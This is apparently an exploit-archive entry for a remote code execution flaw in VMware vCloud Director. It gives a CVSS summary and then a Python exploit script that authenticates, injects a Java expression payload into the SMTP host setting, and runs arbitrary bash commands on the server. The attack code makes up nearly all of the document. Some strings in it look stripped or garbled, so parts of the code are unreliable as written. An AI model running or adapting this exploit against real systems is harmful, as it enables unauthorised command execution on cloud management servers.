vCloud Director Remote Code Execution

Risk: High
Local: No
Remote: Yes

CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/python # Exploit Title: vCloud Director - Remote Code Execution # Exploit Author: Tomas Melicher # Technical Details: # Date: 2020-05-24 # Vendor Homepage: # Software Link: # Tested On: vCloud Director # Vulnerability Description: # VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name. import argparse # pip install argparse import base64, os, re, requests, sys if sys.version_info >= (3, 0): from urllib.parse import urlparse else: from urlparse import urlparse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) PAYLOAD_TEMPLATE = "${''.getClass().forName('').getDeclaredConstructors()[1].newInstance(''.getClass().forName('').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}" session = requests.Session() def login(url, username, password, verbose): target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path) res = session.get(target_url) match ='tenant:([^"]+)', res.content, re.IGNORECASE) if match: tenant = else: print('[!] can\'t find tenant identifier') return (None,None,None,None) if verbose: print('[*] tenant: %s'%(tenant)) match ='security_check\?[^"]+', res.content, re.IGNORECASE) if match: # Cloud Director 9.* login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, res =, data={'username':username,'password':password}) if res.status_code == 401: print('[!] invalid credentials') return (None,None,None,None) else: # Cloud Director 10.* match ='/cloudapi/.*/sessions', res.content, re.IGNORECASE) if match: login_url = '%s://%s%s'%(url.scheme, url.netloc, headers = { 'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))), 'Accept': 'application/json;version=29.0', 'Content-type': 'application/json;version=29.0' } res =, headers=headers) if res.status_code == 401: print('[!] invalid credentials') return (None,None,None,None) else: print('[!] url for login form was not found') return (None,None,None,None) cookies = session.cookies.get_dict() jwt = cookies['vcloud_jwt'] session_id = cookies['vcloud_session_id'] if verbose: print('[*] jwt token: %s'%(jwt)) print('[*] session_id: %s'%(session_id)) res = session.get(target_url) match ='organization : \'([^\']+)', res.content, re.IGNORECASE) if match is None: print('[!] organization not found') return (None,None,None,None) organization = if verbose: print('[*] organization name: %s'%(organization)) match ='orgId : \'([^\']+)', res.content) if match is None: print('[!] orgId not found') return (None,None,None,None) org_id = if verbose: print('[*] organization identifier: %s'%(org_id)) return (jwt,session_id,organization,org_id) def exploit(url, username, password, command, verbose): (jwt,session_id,organization,org_id) = login(url, username, password, verbose) if jwt is None: return headers = { 'Accept': 'application/*+xml;version=29.0', 'Authorization': 'Bearer %s'%jwt, 'x-vcloud-authorization': session_id } admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc) res = session.get(admin_url, headers=headers) match ='<description>\s*([^<\s]+)', res.content, re.IGNORECASE) if match: version = if verbose: print('[*] detected version of Cloud Director: %s'%(version)) else: version = None print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0') email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id) payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command)) data = '<root:OrgEmailSettings xmlns:root=""><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>' data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>' data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>' data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload) data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>' res = session.put(email_settings_url, data=data, headers=headers) match ='value:\s*\[([^\]]+)\]', res.content) if verbose: print('') try: print(base64.b64decode( except Exception: print(res.content) parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]') parser.add_argument('-v', action='store_true') parser.add_argument('-t', metavar='target', help='url to html5 client (', required=True) parser.add_argument('-u', metavar='username', required=True) parser.add_argument('-p', metavar='password', required=True) parser.add_argument('-c', metavar='command', help='command to execute', default='id') args = parser.parse_args() url = urlparse(args.t) exploit(url, args.u, args.p, args.c, args.v)

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